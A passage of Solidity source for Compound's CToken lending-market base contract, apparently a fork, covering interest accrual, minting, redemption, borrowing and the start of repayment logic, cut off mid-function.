require(success, "TOKEN_TRANSFER_OUT_FAILED");
}
}
pragma solidity ^0.5.16;
import "./ComptrollerInterface.sol";
import "./CTokenInterfaces.sol";
import "./ErrorReporter.sol";
import "./Exponential.sol";
import "./EIP20Interface.sol";
import "./InterestRateModel.sol";
/**
* @title Compound's CToken Contract
* @notice Abstract base for CTokens
* @author Compound
*/
contract CToken is CTokenInterface, Exponential, TokenErrorReporter {
/**
* @notice Initialize the money market
* @param comptroller_ The address of the Comptroller
* @param interestRateModel_ The address of the interest rate model
* @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18
* @param name_ EIP-20 name of this token
* @param symbol_ EIP-20 symbol of this token
* @param decimals_ EIP-20 decimal precision of this token
*/
function initialize(ComptrollerInterface comptroller_,
InterestRateModel interestRateModel_,
uint initialExchangeRateMantissa_,
string memory name_,
string memory symbol_,
uint8 decimals_) public {
require(msg.sender == admin, "only admin may initialize the market");
require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once");
// Set initial exchange rate
initialExchangeRateMantissa = initialExchangeRateMantissa_;
require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero.");
// Set the comptroller
uint err = _setComptroller(comptroller_);
require(err == uint(Error.NO_ERROR), "setting comptroller failed");
// Initialize block number and borrow index (block number mocks depend on comptroller being set)
accrualBlockNumber = getBlockNumber();
borrowIndex = mantissaOne;
// Set the interest rate model (depends on block number / borrow index)
err = _setInterestRateModelFresh(interestRateModel_);
require(err == uint(Error.NO_ERROR), "setting interest rate model failed");
name = name_;
symbol = symbol_;
decimals = decimals_;
// The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund)
_notEntered = true;
}
/**
* @notice Transfer `tokens` tokens from `src` to `dst` by `spender`
* @dev Called by both `transfer` and `transferFrom` internally
* @param spender The address of the account performing the transfer
* @param src The address of the source account
* @param dst The address of the destination account
* @param tokens The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) {
/* Fail if transfer not allowed */
uint allowed = comptroller.transferAllowed(address(this), src, dst, tokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.TRANSFER_COMPTROLLER_REJECTION, allowed);
}
/* Do not allow self-transfers */
if (src == dst) {
return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED);
}
/* Get the allowance, infinite for the account owner */
uint startingAllowance = 0;
if (spender == src) {
startingAllowance = uint(-1);
} else {
startingAllowance = transferAllowances[src][spender];
}
/* Do the calculations, checking for {under,over}flow */
MathError mathErr;
uint allowanceNew;
uint srcTokensNew;
uint dstTokensNew;
(mathErr, allowanceNew) = subUInt(startingAllowance, tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ALLOWED);
}
(mathErr, srcTokensNew) = subUInt(accountTokens[src], tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ENOUGH);
}
(mathErr, dstTokensNew) = addUInt(accountTokens[dst], tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_TOO_MUCH);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
accountTokens[src] = srcTokensNew;
accountTokens[dst] = dstTokensNew;
/* Eat some of the allowance (if necessary) */
if (startingAllowance != uint(-1)) {
transferAllowances[src][spender] = allowanceNew;
}
/* We emit a Transfer event */
emit Transfer(src, dst, tokens);
// unused function
// comptroller.transferVerify(address(this), src, dst, tokens);
return uint(Error.NO_ERROR);
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external nonReentrant returns (bool) {
return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR);
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 amount) external nonReentrant returns (bool) {
return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR);
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool) {
address src = msg.sender;
transferAllowances[src][spender] = amount;
emit Approval(src, spender, amount);
return true;
}
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external view returns (uint256) {
return transferAllowances[owner][spender];
}
/**
* @notice Get the token balance of the `owner`
* @param owner The address of the account to query
* @return The number of tokens owned by `owner`
*/
function balanceOf(address owner) external view returns (uint256) {
return accountTokens[owner];
}
/**
* @notice Get the underlying balance of the `owner`
* @dev This also accrues interest in a transaction
* @param owner The address of the account to query
* @return The amount of underlying owned by `owner`
*/
function balanceOfUnderlying(address owner) external returns (uint) {
Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()});
(MathError mErr, uint balance) = mulScalarTruncate(exchangeRate, accountTokens[owner]);
require(mErr == MathError.NO_ERROR, "balance could not be calculated");
return balance;
}
/**
* @notice Get a snapshot of the account's balances, and the cached exchange rate
* @dev This is used by comptroller to more efficiently perform liquidity checks.
* @param account Address of the account to snapshot
* @return (possible error, token balance, borrow balance, exchange rate mantissa)
*/
function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) {
uint cTokenBalance = accountTokens[account];
uint borrowBalance;
uint exchangeRateMantissa;
MathError mErr;
(mErr, borrowBalance) = borrowBalanceStoredInternal(account);
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0, 0, 0);
}
(mErr, exchangeRateMantissa) = exchangeRateStoredInternal();
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0, 0, 0);
}
return (uint(Error.NO_ERROR), cTokenBalance, borrowBalance, exchangeRateMantissa);
}
/**
* @dev Function to simply retrieve block number
* This exists mainly for inheriting test contracts to stub this result.
*/
function getBlockNumber() internal view returns (uint) {
return block.number;
}
/**
* @notice Returns the current per-block borrow interest rate for this cToken
* @return The borrow interest rate per block, scaled by 1e18
*/
function borrowRatePerBlock() external view returns (uint) {
return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves);
}
/**
* @notice Returns the current per-block supply interest rate for this cToken
* @return The supply interest rate per block, scaled by 1e18
*/
function supplyRatePerBlock() external view returns (uint) {
return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa);
}
/**
* @notice Returns the current total borrows plus accrued interest
* @return The total borrows with interest
*/
function totalBorrowsCurrent() external nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return totalBorrows;
}
/**
* @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex
* @param account The address whose balance should be calculated after updating borrowIndex
* @return The calculated balance
*/
function borrowBalanceCurrent(address account) external nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return borrowBalanceStored(account);
}
/**
* @notice Return the borrow balance of account based on stored data
* @param account The address whose balance should be calculated
* @return The calculated balance
*/
function borrowBalanceStored(address account) public view returns (uint) {
(MathError err, uint result) = borrowBalanceStoredInternal(account);
require(err == MathError.NO_ERROR, "borrowBalanceStored: borrowBalanceStoredInternal failed");
return result;
}
/**
* @notice Return the borrow balance of account based on stored data
* @param account The address whose balance should be calculated
* @return (error code, the calculated balance or 0 if error code is non-zero)
*/
function borrowBalanceStoredInternal(address account) internal view returns (MathError, uint) {
/* Note: we do not assert that the market is up to date */
MathError mathErr;
uint principalTimesIndex;
uint result;
/* Get borrowBalance and borrowIndex */
BorrowSnapshot storage borrowSnapshot = accountBorrows[account];
/* If borrowBalance = 0 then borrowIndex is likely also 0.
* Rather than failing the calculation with a division by 0, we immediately return 0 in this case.
*/
if (borrowSnapshot.principal == 0) {
return (MathError.NO_ERROR, 0);
}
/* Calculate new borrow balance using the interest index:
* recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex
*/
(mathErr, principalTimesIndex) = mulUInt(borrowSnapshot.principal, borrowIndex);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
(mathErr, result) = divUInt(principalTimesIndex, borrowSnapshot.interestIndex);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
return (MathError.NO_ERROR, result);
}
/**
* @notice Accrue interest then return the up-to-date exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateCurrent() public nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return exchangeRateStored();
}
/**
* @notice Calculates the exchange rate from the underlying to the CToken
* @dev This function does not accrue interest before calculating the exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateStored() public view returns (uint) {
(MathError err, uint result) = exchangeRateStoredInternal();
require(err == MathError.NO_ERROR, "exchangeRateStored: exchangeRateStoredInternal failed");
return result;
}
/**
* @notice Calculates the exchange rate from the underlying to the CToken
* @dev This function does not accrue interest before calculating the exchange rate
* @return (error code, calculated exchange rate scaled by 1e18)
*/
function exchangeRateStoredInternal() internal view returns (MathError, uint) {
uint _totalSupply = totalSupply;
if (_totalSupply == 0) {
/*
* If there are no tokens minted:
* exchangeRate = initialExchangeRate
*/
return (MathError.NO_ERROR, initialExchangeRateMantissa);
} else {
/*
* Otherwise:
* exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply
*/
uint totalCash = getCashPrior();
uint cashPlusBorrowsMinusReserves;
Exp memory exchangeRate;
MathError mathErr;
(mathErr, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
(mathErr, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, _totalSupply);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
return (MathError.NO_ERROR, exchangeRate.mantissa);
}
}
/**
* @notice Get cash balance of this cToken in the underlying asset
* @return The quantity of underlying asset owned by this contract
*/
function getCash() external view returns (uint) {
return getCashPrior();
}
/**
* @notice Applies accrued interest to total borrows and reserves
* @dev This calculates interest accrued from the last checkpointed block
* up to the current block and writes new checkpoint to storage.
*/
function accrueInterest() public returns (uint) {
/* Remember the initial block number */
uint currentBlockNumber = getBlockNumber();
uint accrualBlockNumberPrior = accrualBlockNumber;
/* Short-circuit accumulating 0 interest */
if (accrualBlockNumberPrior == currentBlockNumber) {
return uint(Error.NO_ERROR);
}
/* Read the previous values out of storage */
uint cashPrior = getCashPrior();
uint borrowsPrior = totalBorrows;
uint reservesPrior = totalReserves;
uint borrowIndexPrior = borrowIndex;
/* Calculate the current borrow interest rate */
uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior);
require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high");
/* Calculate the number of blocks elapsed since the last accrual */
(MathError mathErr, uint blockDelta) = subUInt(currentBlockNumber, accrualBlockNumberPrior);
require(mathErr == MathError.NO_ERROR, "could not calculate block delta");
/*
* Calculate the interest accumulated into borrows and reserves and the new index:
* simpleInterestFactor = borrowRate * blockDelta
* interestAccumulated = simpleInterestFactor * totalBorrows
* totalBorrowsNew = interestAccumulated + totalBorrows
* totalReservesNew = interestAccumulated * reserveFactor + totalReserves
* borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex
*/
Exp memory simpleInterestFactor;
uint interestAccumulated;
uint totalBorrowsNew;
uint totalReservesNew;
uint borrowIndexNew;
(mathErr, simpleInterestFactor) = mulScalar(Exp({mantissa: borrowRateMantissa}), blockDelta);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, interestAccumulated) = mulScalarTruncate(simpleInterestFactor, borrowsPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, totalBorrowsNew) = addUInt(interestAccumulated, borrowsPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, totalReservesNew) = mulScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, borrowIndexNew) = mulScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, uint(mathErr));
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write the previously calculated values into storage */
accrualBlockNumber = currentBlockNumber;
borrowIndex = borrowIndexNew;
totalBorrows = totalBorrowsNew;
totalReserves = totalReservesNew;
/* We emit an AccrueInterest event */
emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew);
return uint(Error.NO_ERROR);
}
/**
* @notice Sender supplies assets into the market and receives cTokens in exchange
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param mintAmount The amount of the underlying asset to supply
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.
*/
function mintInternal(uint mintAmount) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0);
}
// mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to
return mintFresh(msg.sender, mintAmount);
}
struct MintLocalVars {
Error err;
MathError mathErr;
uint exchangeRateMantissa;
uint mintTokens;
uint totalSupplyNew;
uint accountTokensNew;
uint actualMintAmount;
}
/**
* @notice User supplies assets into the market and receives cTokens in exchange
* @dev Assumes interest has already been accrued up to the current block
* @param minter The address of the account which is supplying the assets
* @param mintAmount The amount of the underlying asset to supply
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.
*/
function mintFresh(address minter, uint mintAmount) internal returns (uint, uint) {
/* Fail if mint not allowed */
uint allowed = comptroller.mintAllowed(address(this), minter, mintAmount);
if (allowed != 0) {
return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.MINT_COMPTROLLER_REJECTION, allowed), 0);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK), 0);
}
MintLocalVars memory vars;
(vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
if (vars.mathErr != MathError.NO_ERROR) {
return (failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)), 0);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call `doTransferIn` for the minter and the mintAmount.
* Note: The cToken must handle variations between ERC-20 and ETH underlying.
* `doTransferIn` reverts if anything goes wrong, since we can't be sure if
* side-effects occurred. The function returns the amount actually transferred,
* in case of a fee. On success, the cToken holds an additional `actualMintAmount`
* of cash.
*/
vars.actualMintAmount = doTransferIn(minter, mintAmount);
/*
* We get the current exchange rate and calculate the number of cTokens to be minted:
* mintTokens = actualMintAmount / exchangeRate
*/
(vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(vars.actualMintAmount, Exp({mantissa: vars.exchangeRateMantissa}));
require(vars.mathErr == MathError.NO_ERROR, "MINT_EXCHANGE_CALCULATION_FAILED");
/*
* We calculate the new total supply of cTokens and minter token balance, checking for overflow:
* totalSupplyNew = totalSupply + mintTokens
* accountTokensNew = accountTokens[minter] + mintTokens
*/
(vars.mathErr, vars.totalSupplyNew) = addUInt(totalSupply, vars.mintTokens);
require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED");
(vars.mathErr, vars.accountTokensNew) = addUInt(accountTokens[minter], vars.mintTokens);
require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED");
/* We write previously calculated values into storage */
totalSupply = vars.totalSupplyNew;
accountTokens[minter] = vars.accountTokensNew;
/* We emit a Mint event, and a Transfer event */
emit Mint(minter, vars.actualMintAmount, vars.mintTokens);
emit Transfer(address(this), minter, vars.mintTokens);
/* We call the defense hook */
// unused function
// comptroller.mintVerify(address(this), minter, vars.actualMintAmount, vars.mintTokens);
return (uint(Error.NO_ERROR), vars.actualMintAmount);
}
/**
* @notice Sender redeems cTokens in exchange for the underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemTokens The number of cTokens to redeem into underlying
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
// redeemFresh emits redeem-specific logs on errors, so we don't need to
return redeemFresh(msg.sender, redeemTokens, 0);
}
/**
* @notice Sender redeems cTokens in exchange for a specified amount of underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemAmount The amount of underlying to receive from redeeming cTokens
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
// redeemFresh emits redeem-specific logs on errors, so we don't need to
return redeemFresh(msg.sender, 0, redeemAmount);
}
struct RedeemLocalVars {
Error err;
MathError mathErr;
uint exchangeRateMantissa;
uint redeemTokens;
uint redeemAmount;
uint totalSupplyNew;
uint accountTokensNew;
}
/**
* @notice User redeems cTokens in exchange for the underlying asset
* @dev Assumes interest has already been accrued up to the current block
* @param redeemer The address of the account which is redeeming the tokens
* @param redeemTokensIn The number of cTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero)
* @param redeemAmountIn The number of underlying tokens to receive from redeeming cTokens (only one of redeemTokensIn or redeemAmountIn may be non-zero)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint) {
require(redeemTokensIn == 0 || redeemAmountIn == 0, "one of redeemTokensIn or redeemAmountIn must be zero");
RedeemLocalVars memory vars;
/* exchangeRate = invoke Exchange Rate Stored() */
(vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr));
}
/* If redeemTokensIn > 0: */
if (redeemTokensIn > 0) {
/*
* We calculate the exchange rate and the amount of underlying to be redeemed:
* redeemTokens = redeemTokensIn
* redeemAmount = redeemTokensIn x exchangeRateCurrent
*/
vars.redeemTokens = redeemTokensIn;
(vars.mathErr, vars.redeemAmount) = mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), redeemTokensIn);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, uint(vars.mathErr));
}
} else {
/*
* We get the current exchange rate and calculate the amount to be redeemed:
* redeemTokens = redeemAmountIn / exchangeRate
* redeemAmount = redeemAmountIn
*/
(vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(redeemAmountIn, Exp({mantissa: vars.exchangeRateMantissa}));
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, uint(vars.mathErr));
}
vars.redeemAmount = redeemAmountIn;
}
/* Fail if redeem not allowed */
uint allowed = comptroller.redeemAllowed(address(this), redeemer, vars.redeemTokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REDEEM_COMPTROLLER_REJECTION, allowed);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDEEM_FRESHNESS_CHECK);
}
/*
* We calculate the new total supply and redeemer balance, checking for underflow:
* totalSupplyNew = totalSupply - redeemTokens
* accountTokensNew = accountTokens[redeemer] - redeemTokens
*/
(vars.mathErr, vars.totalSupplyNew) = subUInt(totalSupply, vars.redeemTokens);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.accountTokensNew) = subUInt(accountTokens[redeemer], vars.redeemTokens);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
/* Fail gracefully if protocol has insufficient cash */
if (getCashPrior() < vars.redeemAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We invoke doTransferOut for the redeemer and the redeemAmount.
* Note: The cToken must handle variations between ERC-20 and ETH underlying.
* On success, the cToken has redeemAmount less of cash.
* doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
*/
doTransferOut(redeemer, vars.redeemAmount);
/* We write previously calculated values into storage */
totalSupply = vars.totalSupplyNew;
accountTokens[redeemer] = vars.accountTokensNew;
/* We emit a Transfer event, and a Redeem event */
emit Transfer(redeemer, address(this), vars.redeemTokens);
emit Redeem(redeemer, vars.redeemAmount, vars.redeemTokens);
/* We call the defense hook */
comptroller.redeemVerify(address(this), redeemer, vars.redeemAmount, vars.redeemTokens);
return uint(Error.NO_ERROR);
}
/**
* @notice Sender borrows assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED);
}
// borrowFresh emits borrow-specific logs on errors, so we don't need to
return borrowFresh(msg.sender, borrowAmount);
}
struct BorrowLocalVars {
MathError mathErr;
uint accountBorrows;
uint accountBorrowsNew;
uint totalBorrowsNew;
}
/**
* @notice Users borrow assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) {
/* Fail if borrow not allowed */
uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.BORROW_COMPTROLLER_REJECTION, allowed);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK);
}
/* Fail gracefully if protocol has insufficient underlying cash */
if (getCashPrior() < borrowAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE);
}
BorrowLocalVars memory vars;
/*
* We calculate the new borrower and total borrow balances, failing on overflow:
* accountBorrowsNew = accountBorrows + borrowAmount
* totalBorrowsNew = totalBorrows + borrowAmount
*/
(vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.accountBorrowsNew) = addUInt(vars.accountBorrows, borrowAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.totalBorrowsNew) = addUInt(totalBorrows, borrowAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We invoke doTransferOut for the borrower and the borrowAmount.
* Note: The cToken must handle variations between ERC-20 and ETH underlying.
* On success, the cToken borrowAmount less of cash.
* doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
*/
doTransferOut(borrower, borrowAmount);
/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
/* We emit a Borrow event */
emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
/* We call the defense hook */
// unused function
// comptroller.borrowVerify(address(this), borrower, borrowAmount);
return uint(Error.NO_ERROR);
}
/**
* @notice Sender repays their own borrow
* @param repayAmount The amount to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0);
}
// repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to
return repayBorrowFresh(msg.sender, msg.sender, repayAmount);
}
/**
* @notice Sender repays a borrow belonging to borrower
* @param borrower the account with the debt being payed off
* @param repayAmount The amount to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0);
}
// repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to
return repayBorrowFresh(msg.sender, borrower, repayAmount);
}
struct RepayBorrowLocalVars {
Error err;
MathError mathErr;
uint repayAmount;
uint borrowerIndex;
uint accountBorrows;
uint accountBorrowsNew;
uint totalBorrowsNew;
uint actualRepayAmount;
}
/**
* @notice Borrows are repaid by another user (possibly the borrower).
* @param payer the account paying off the borrow
* @param borrower the account with the debt being payed off
* @param repayAmount the amount of undelrying tokens being returned
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint, uint) {
/* Fail if repayBorrow not allowed */
uint allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount);
if (allowed != 0) {
return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed), 0);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0);
}
RepayBorrowLocalVars memory vars;
/* We remember the original borrowerIndex for verification purposes */
vars.borrowerIndex = accountBorrows[borrower].interestIndex;
/* We fetch the amount the borrower owes, with accumulated interest */
(vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower);
if (vars.mathErr != MathError.NO_ERROR) {
return (failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)), 0);
}
/* If repayAmount == -1, repayAmount = accountBorrows */
if (repayAmount == uint(-1)) {
vars.repayAmount = vars.accountBorrows;
} else {
vars.repayAmount = repayAmount;
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call doTransferIn for the payer and the repayAmount
